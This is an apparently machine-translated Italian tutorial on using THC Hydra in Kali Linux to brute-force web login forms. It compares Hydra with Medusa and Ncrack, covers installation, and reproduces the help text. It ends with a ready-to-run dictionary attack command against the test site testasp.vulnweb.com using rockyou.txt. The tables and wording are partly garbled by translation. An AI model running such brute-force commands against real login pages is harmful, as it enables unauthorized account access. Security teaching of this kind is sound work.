Crack pagina di accesso basata sul Web con Hydra in Kali Linux

Crack Web Based Login Page With Hydra Kali Linux

Una password è tecnicamente definita come una stringa segreta di caratteri utilizzata per autenticare o accedere alle risorse. Deve essere tenuto segreto e nascosto ad altri a cui non è consentito accedere a tali risorse. Le password sono state utilizzate con i computer fin dai primi giorni dell'informatica. Uno dei primi sistemi di condivisione, è stato introdotto nel 1961. Aveva un comando di login che richiedeva una password utente. Dopo aver digitato PASSWORD, il sistema spegne, se possibile, il meccanismo di stampa, in modo che l'utente possa digitare la propria password con riservatezza.

La forza di una password è una funzione della lunghezza, della complessità e dell'imprevedibilità. Misura l'efficacia nel resistere a indovinare o romperlo. Le password deboli, d'altra parte, riducono il tempo necessario per indovinare e accedere a e-mail personali/aziendali, dati sensibili come informazioni finanziarie, informazioni aziendali, carte di credito, ecc.



Ci sono molti modi in cui una password può essere debole, corrispondenti ai punti di forza dei vari schemi di attacco. Il più popolare di questo tipo di attacco alle credenziali è la forza bruta. è un metodo di prova ed errore come indovinare, tentare di decodificare dati crittografati come password o crittografia dei dati utilizzata dal programma applicativo o dallo strumento di hacking.



Hydra è il cracker di accesso alla rete più veloce che supporta numerosi protocolli di attacco. È molto veloce e flessibile e i nuovi moduli sono facili da aggiungere. Questo strumento consente a ricercatori e consulenti di sicurezza di mostrare quanto sarebbe facile ottenere l'accesso non autorizzato a un sistema da remoto. Hydra è stato scritto da van Hauser ed è inoltre supportato da David Maciejak. Nell'ultimo aggiornamento lo sviluppo di Hydra è stato spostato nel repository github pubblico all'indirizzo: https://github.com/vanhauser-thc/thc-hydra.



Hydra è stato testato per essere compilato su Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX,QNX/Blackberry ed è reso disponibile sotto GPLv3 con una speciale espansione della licenza OpenSSL.

THC Hydra supporta questi protocolli: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 e v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC e XMPP.

CONFRONTO DI HYDRA CON ALTRI STRUMENTI DI FRENATURA

Ci sono anche molti strumenti di cracker di accesso oltre a idra, tuttavia nessuno supporta un enorme elenco di protocolli e supporto di cracker di accesso in parallelo come fa Hydra. Le tabelle seguenti mostrano il risultato di funzionalità, servizi e confronto di velocità con medusa e ncrack.



Caratteristiche

Caratteristica Idra Medusa Ncrack
Licenza AGPLv3 GPLv2 Termini GPLv2 + Nmap
Supporto IPv6 No No
Interfaccia utente grafica No
Supporto internazionalizzato (RFC 4013) No No
Supporto proxy HTTP No
Supporto proxy SOCKS No No
Protocolli supportati 51 22 7

Servizi

Crack pagina di accesso basata sul Web con

Servizio Particolari Idra Medusa Ncrack
ADAM-6500 No No
AFP No
Asterisco No No
Cisco Password No No
Cisco Enable No No
CVS No
Firebird No No
FTP
Supporto SSL AUTH TLS e FTP su SSL AUTH TLS e FTP su SSL No
HTTP Metodo/i GET, TESTA, POST OTTENERE OTTENERE
Autenticazione di base
Modulo HTTP Metodo/i OTTIENI, POST OTTIENI, POST No
Supporto SSL HTTPS HTTPS No
Proxy HTTP Autenticazione di base No No
DIGEST-MD5 Aut No No
Autenticazione NTLM No No
Supporto SSL HTTPS No No
Enumerazione URL PROXY HTTP No No
ICQ v5
1
No No
IMAP LOGIN supporto No
ACCESSO AUTOMATICO supporto No No
Supporto AUTH PLAIN No
Supporto AUTH CRAM-MD5 No No
Supporto AUTH CRAM-SHA1 No No
Supporto AUTH CRAM-SHA256 No No
Supporto AUTH DIGEST-MD5 No No
Supporto NTLM AUTH No
Supporto AUTH SCRAM-SHA1 No No
Supporto SSL IMAPS & STARTTLS IMAPS & STARTTLS No
IRC Password generale del server No No
Password modalità OPER No No
LDAP v2, supporto semplice No No
v3, supporto semplice No No
v3, supporto AUTH CRAM-MD5 No No
Supporto AUTH DIGEST-MD5
Supporto NTLM AUTH
Supporto AUTH SCRAM-SHA1
Supporto SSL IMAPS & STARTTLS IMAPS & STARTTLS
IRC Password generale del server
Password modalità OPER
LDAP v2, supporto semplice
v3, supporto semplice
v3, supporto AUTH CRAM-MD5
v3, supporto AUTH DIGEST-MD5
MS-SQL
MySQL v3.x
v4.x
v5.x
PCN
NNTP Supporto UTENTE
ACCESSO AUTOMATICO supporto
Supporto AUTH PLAIN
Supporto AUTH CRAM-MD5
Supporto AUTH DIGEST-MD5
Supporto NTLM AUTH
Supporto SSL STARTTLS e NNTP su SSL
Oracolo Banca dati
Ascoltatore TNS
Enumerazione SID
PC-NFS
pcAnywhere Autenticazione nativa
Autenticazione basata sul sistema operativo (MS)
POP3 Supporto UTENTE
Supporto APOP
ACCESSO AUTOMATICO supporto
Supporto AUTH PLAIN
Supporto AUTH CRAM-MD5
Supporto AUTH CRAM-SHA1
Supporto AUTH CRAM-SHA256
Supporto AUTH DIGEST-MD5
Supporto NTLM AUTH
Supporto SSL POP3S & STARTTLS POP3S & STARTTLS POP3S
PostgreSQL
Asterisco
RDP Windows Workstation
Windows Server
Autenticazione dominio
REDIS No
REXEC
RLOGIN
RPCAP No
RSH
RTSP No
SAP R / 3
Siemens S7-300
SORSO
Supporto SSL SIP su SSL
PMI Modalità NetBIOS No
Modalità nativa W2K
Modalità hash No
Autenticazione testo chiaro
Autorizzazione LMv1
Autorizzazione LMv2
Autenticazione NTLMv1
Autenticazione NTLMv2
SMTP ACCESSO AUTOMATICO supporto
Supporto AUTH PLAIN
Supporto AUTH CRAM-MD5
Supporto AUTH DIGEST-MD5
Supporto NTLM AUTH
Supporto SSL SMTP e STARTTLS SMTP e STARTTLS
Enumerazione utente SMTP cmd VRfy
EXPN cmd
RCPT TO cmd
SNMP v1
v2c
v3 (solo autenticazione MD5/SHA1)
CALZINI v5, autenticazione password
SSH v1
v2
Chiavi SSH v1, v2
Sovversione (SVN)
TeamSpeak TS2
Telnet
XMPP ACCESSO AUTOMATICO supporto
Supporto AUTH PLAIN
Supporto AUTH CRAM-MD5
Supporto AUTH DIGEST-MD5
Supporto AUTH SCRAM-SHA1
Demone di autenticazione VMware v1.00 / v1.10
Supporto SSL
VNC Supporto per password RFB 3.x
RFB 3.x supporto utente+password (solo UltraVNC)
Supporto per password RFB 4.x
RFB 4.x supporto utente+password (solo UltraVNC)

Confronto velocità

Velocità (in s) Idra Medusa Ncrack
1 Task / Modulo FTP 11.93 12.97 18.01
4 Compiti / Modulo FTP 4.20 5.24 9.01
16 Compiti / Modulo FTP 2.44 2.71 12.01
1 modulo Task/SSH v2 32.56 33.84 45.02
4 Compiti / Modulo SSH v2 10.95 Rotto perse
16 Compiti/Modulo SSH v2 5.14 Rotto perse

Quella era una breve e semplice introduzione all'idra. Passiamo ora all'installazione.

INSTALLAZIONE DELL'IDRA

Hydra è preinstallato su kali linux, tuttavia se hai un sistema operativo diverso puoi compilarlo e installarlo sul tuo sistema. Attualmente, il supporto di hydra su diverse piattaforme:

  • Tutte le piattaforme UNIX (Linux, *bsd, Solaris, ecc.)
  • MacOS (fondamentalmente un clone BSD)
  • Windows con Cygwin (sia IPv4 che IPv6)
  • Sistemi mobili basati su Linux, MacOS o QNX (es. Android, iPhone, Blackberry 10, Zaurus, iPaq)

Per scaricare, configurare, compilare e installare idra, basta digitare nel terminale:

git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install 

Se hai Ubuntu/Debian avrai bisogno di alcune librerie di dipendenze:

apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev 

Se non riesci a trovare quelle librerie nel tuo repository, devi scaricarle e installarle manualmente.

COME USARE IDRA

Congratulazioni, ora sei riuscito a installare Hydra sul tuo sistema. In realtà, Hydra ha due versioni, GUI-gtk e la mia versione preferita, CLI. e inoltre idra ha anche una versione guidata da CLI, chiamata idra-mago. Sarai guidato passo dopo passo invece di digitare manualmente tutti i comandi o gli argomenti nel terminale. Per eseguire Hydra, dal tuo terminale digita:

Per CLI:

hydra

Per la procedura guidata CLI:

hydra-wizard

Per l'interfaccia grafica:

xhydra

Dopo aver digitato 'hydra', verranno visualizzati i comandi di aiuto come questo:

 [email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh

Accesso basato sul Web Bruteforce con idra

Hydra supporta alcuni servizi di forzatura bruta come ho detto prima, uno di questi viene utilizzato per forzare gli accessi basati sul Web come il modulo di accesso ai social media, il modulo di accesso al banking utente, l'accesso basato sul Web del router, ecc. Quel http[s]-get-form che gestirà questa richiesta. In questo tutorial ti mostrerò come forzare con la forza bruta gli accessi web vulnerabili. Prima di avviare l'idra, dovremmo conoscere alcuni argomenti necessari come di seguito:

  • Obbiettivo : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
  • Nome utente di accesso : amministratore (se non sei sicuro, forza bruta questo)
  • Elenco password : La posizione dell'elenco dei file del dizionario contenente le possibili password.
  • Parametri del modulo : in generale, utilizzare i dati di manomissione o proxy per ottenere i parametri di richiesta del modulo. Ma qui sto usando iceweasel, basato su Firefox, barra degli strumenti per sviluppatori di rete.
  • Modulo di servizio : http-post-form
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.

Ottenere i parametri dei post tramite browser, iceweasel/firefox

Nel tuo browser Firefox premi i tasti ' CTRL + MAIUSC + Q '. Quindi apri la pagina di accesso webhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, noterai che nella scheda sviluppatore di rete viene visualizzato del testo. Ti dice quali file ci vengono trasferiti. Vedi il metodo tutti sono GET, dal momento che non abbiamo ancora POST alcun dato.

Per ottenere i parametri post-modulo, digitare qualsiasi cosa nel modulo nome utente e/o password. Noterai un nuovo metodo POST nella scheda sviluppatore di rete. Fare doppio clic su quella riga, nella scheda Intestazioni fare clic sul pulsante Modifica e reinvia sul lato destro. Nel corpo della richiesta copia l'ultima riga, ad esempio tfUName = asu & tfUPass = raimu . il tfUNName e tfUPass sono parametri di cui abbiamo bisogno. Come visto di seguito:

Kali Linux ha un sacco di elenchi di parole, scegli l'elenco di parole appropriato o usa semplicemente rockyou.txt posto in /usr/condividi/elenchi di parole/ come si vede di seguito:

Bene, ora abbiamo tutti gli argomenti di cui abbiamo bisogno e siamo pronti per accendere l'idra. Ecco lo schema del comando:

hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f

Analizziamo i comandi:

  • l : è una parola che contiene account utente, usa -L per fare riferimento a un elenco di possibili nomi utente in un file.
  • P : è un elenco di file di possibili password, usa -p per usare letteralmente una parola password invece di indovinarla.
  • testapp.vunlwebapp.com : è un nome host o un obiettivo
  • http-post-form : è il modulo di servizio che utilizziamo
  • /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = i 3 parametri necessari, la sintassi è:
    {URL della pagina}:{Richiedi i parametri del modulo del corpo del post}:S={Trova qualsiasi cosa nella pagina dopo aver effettuato l'accesso}
  • v = Modalità dettagliata
  • V = mostra login:pass per ogni tentativo
  • F = Termina il programma se viene trovata la coppia login:password

Ora lascia che Hydra provi a rompere la password per noi, ha bisogno di tempo poiché è un attacco di dizionario. Una volta trovata una coppia di login:password, l'idra terminerà immediatamente il lavoro e mostrerà le credenziali valide.

C'è così tanto che hydra potrebbe fare, dal momento che in questo tutorial abbiamo appena imparato a forzare l'accesso basato sul web usando hydra, impariamo solo un protocollo, ovvero il protocollo http-post-form. Possiamo anche usare hydra contro un altro protocollo come ssh, ftp, telnet, VNC, proxy, ecc.